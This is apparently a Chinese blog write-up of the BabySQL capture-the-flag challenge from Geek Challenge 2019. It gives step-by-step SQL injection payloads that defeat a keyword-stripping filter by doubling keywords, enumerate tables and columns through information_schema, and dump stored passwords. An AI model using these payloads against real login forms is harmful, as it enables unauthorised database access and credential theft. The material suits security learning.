[极客大挑战 2019]BabySQL

非常熟悉的界面

首先试一下

进去后发现是GET提交方式,并且我们的用户名是对的,密码错误

然后我们试一下万能密码

?username=admin&password=admin' or '1'='1

报错了,不知道哪里错了,所以先闭合一下前面看一下他的报错提示

?username=admin'&password=admin or '1'='1

很奇怪我们的or不见了,查阅资料发现可以用函数replace()过滤,把字符替换成了空白字符

然后我们可以用拼接字符来进行绕过,使用联合查询来进行查列

?username=admin&password=admin' uunionnion sselectelect 1,2%23

暴错,说明不止两个列,继续查

?username=admin&password=admin' uunionnion sselectelect 1,2,3%23

这次没出错

下一步我们就开始查表

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

然后我们可以查出两张表 b4bsql和geekuser

于是我们再继续对表进行查列字段

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

查出三个列字段:id,username,password

最后我们就可以开始爆数据了

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

然后我们就得到flag了

posted @ 2021-11-08 18:44  懒癌·晚期患者  阅读(17)  评论(0编辑  收藏  举报